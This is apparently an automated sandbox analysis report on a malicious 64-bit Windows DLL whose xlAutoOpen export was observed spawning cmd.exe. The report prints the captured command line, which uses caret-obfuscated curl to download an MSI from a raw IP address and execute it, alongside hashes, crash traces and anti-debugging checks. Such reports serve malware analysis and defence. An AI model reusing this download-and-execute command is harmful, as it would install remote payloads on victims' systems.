Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 26, 2023, 2:46 p.m.	Sept. 26, 2023, 2:46 p.m.

Size	12.0KB
Type	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	`e23d0b061c80c22c7d232b6a8e43fa77`
SHA256	`c2b31799d70cbb16f67fd175e562cdddfc5890f6e36a3d9986ce6510f893ed57`
CRC32	`78C07C06`
ssdeep	`192:tU5z9i1jq2pJk+/qcJklyJOEqgLsBGQwrgAh:2z9ObJH/IwJO/r0QwrgC`
Yara	PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE64 - (no description)

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,reverseString
2636
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,reverseString
  2872
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,xlAutoOpen
2724
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,xlAutoOpen
  2960
  - cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN&&timeout 10&&c:\users\public\1.msi
    3020
    - timeout.exe timeout 10
      2248
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,hash
2552
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,hash
  2920
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,
2820

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 26, 2023, 2:38 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 2:38 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 2:38 p.m.			0	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 26, 2023, 2:38 p.m.	stacktrace: strlen+0x31 strncat-0x7f msvcrt+0x15ba1 @ 0x7fefdb05ba1 reverseString+0xd xlAutoOpen-0x43 ni+0x13ad @ 0x7fef9ad13ad rundll32+0x2f42 @ 0xff602f42 rundll32+0x3b7a @ 0xff603b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 48 8b 10 4d 8b c8 48 83 c0 08 4c 03 ca 48 f7 d2 exception.symbol: strlen+0x31 strncat-0x7f msvcrt+0x15ba1 exception.instruction: mov rdx, qword ptr [rax] exception.module: msvcrt.dll exception.exception_code: 0xc0000005 exception.offset: 88993 exception.address: 0x7fefdb05ba1 registers.r14: 0 registers.r15: 0 registers.rcx: -524664 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 719456 registers.r11: -9151031864016699136 registers.r8: 9151031864016699135 registers.r9: 10 registers.rdx: 4284481536 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 524664 registers.r13: 0	1	0	0
__exception__ Sept. 26, 2023, 2:38 p.m.	stacktrace: xlAutoOpen+0x1c10 ni+0x3000 @ 0x7fef9ad3000 rundll32+0x2f42 @ 0xff602f42 rundll32+0x3b7a @ 0xff603b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 30 40 ad f9 fe 07 00 00 00 00 00 00 00 00 00 00 exception.instruction: xor byte ptr [rax + 0xffffffffffffffad], al exception.exception_code: 0xc0000005 exception.symbol: xlAutoOpen+0x1c10 ni+0x3000 exception.address: 0x7fef9ad3000 registers.r14: 0 registers.r15: 0 registers.rcx: 131454 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 1310224 registers.r11: 1309312 registers.r8: 2343036 registers.r9: 10 registers.rdx: 4284481536 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 131454 registers.r13: 0	1	0	0

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 26, 2023, 2:38 p.m.	process_identifier: 2872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 2:38 p.m.	process_identifier: 2920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 2:38 p.m.	process_identifier: 2960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1

Creates a suspicious process (1 event)

cmdline

c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN&&timeout 10&&c:\users\public\1.msi

ni

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